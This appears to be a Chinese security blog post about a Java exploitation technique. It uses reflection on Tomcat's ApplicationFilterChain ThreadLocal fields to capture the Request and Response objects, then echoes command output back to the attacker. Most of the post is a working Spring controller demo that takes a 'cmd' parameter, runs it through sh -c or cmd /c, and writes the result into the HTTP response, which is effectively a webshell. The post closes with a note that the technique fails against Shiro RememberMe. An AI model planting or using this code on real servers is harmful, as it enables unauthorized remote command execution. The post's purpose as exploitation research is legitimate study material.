基于Tomcat Response对象获取回显
# 基于Tomcat Response对象
Reference:
通过初始化 ThreadLocal 存储的 Request 和 Response 对象,再用反射获取对象,最后写入命令执行后的回显。
# 寻找
通过在Controller之前的调用栈中寻找Tomcat Response对象,如果在某处被记录下来,就能通过反射获取到Response对象,写入回显。类型应该是ThreadLocal
,这样才属于当前线程,并且最好应该是一个static变量。
在org.apache.catalina.core.ApplicationFilterChain
中有合适的变量:
并且会在Controller之前通过ThreadLocal#set
方法存入Request
和Response
对象:
想要那两个 ThreadLocal 变量存入Request
对象和Response
对象,必须满足 if 条件,但是WRAP_SAME_OBJECT
的值默认为false,并且lastServicedRequest
和lastServicedResponse
对象并没有初始化:
所以需要利用反射修改WRAP_SAME_OBJECT
的值,并且初始化lastServicedRequest
和lastServicedResponse
。
# Demo
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;
@RestController
public class DefineController {
@RequestMapping("/demo1")
public String demo1() {
try {
Class<?> clazz = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequest = clazz.getDeclaredField("lastServicedRequest");
Field lastServicedResponse = clazz.getDeclaredField("lastServicedResponse");
Field modifiers = Field.class.getDeclaredField("modifiers");
modifiers.setAccessible(true);
// 去掉final修饰符,设置访问权限
modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL);
modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT.setAccessible(true);
lastServicedRequest.setAccessible(true);
lastServicedResponse.setAccessible(true);
// 修改 WRAP_SAME_OBJECT 并且初始化 lastServicedRequest 和 lastServicedResponse
if (!WRAP_SAME_OBJECT.getBoolean(null)) {
WRAP_SAME_OBJECT.setBoolean(null, true);
lastServicedRequest.set(null, new ThreadLocal<ServletRequest>());
lastServicedResponse.set(null, new ThreadLocal<ServletResponse>());
} else {
// 第二次请求后进入 else 代码块,获取 Request 和 Response 对象,写入回显
ThreadLocal<ServletRequest> threadLocalReq = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
ThreadLocal<ServletResponse> threadLocalResp = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null);
ServletRequest servletRequest = threadLocalReq.get();
ServletResponse servletResponse = threadLocalResp.get();
String cmd = servletRequest.getParameter("cmd");
if (cmd != null) {
String[] cmdArray;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmdArray = new String[]{"cmd", "/c", cmd};
} else {
cmdArray = new String[]{"sh", "-c", cmd};
}
InputStream inputStream = Runtime.getRuntime().exec(cmdArray).getInputStream();
Scanner s = new Scanner(inputStream).useDelimiter("//A");
String output = s.hasNext() ? s.next() : "";
PrintWriter writer = servletResponse.getWriter();
writer.write(output);
writer.flush();
writer.close();
}
}
} catch (Exception e) {
e.printStackTrace();
}
return "test";
}
}
处理流程如下:
- 第一次访问路由,反射修改
WRAP_SAME_OBJECT
的值,并且初始化lastServicedRequest
和lastServicedResponse
- 第二次访问路由,在当前线程中获取
Request
和Response
对象,然后写入命令执行的内容
演示如下:
# 局限性
Shiro反序列化漏洞无法利用成功,Shiro的RememberMe功能本质上就是一个filter,而Request和Response对象设置到ThreadLocal
中的部分是在执行完filter.doFilter
之后的,所以在触发Shiro RememberMe反序列化的时候还没有获取到 Request 和 Response 对象。
- 02
- CommonsBeanUtils04-19
- 03
- 基于Tomcat全局存储进行回显04-16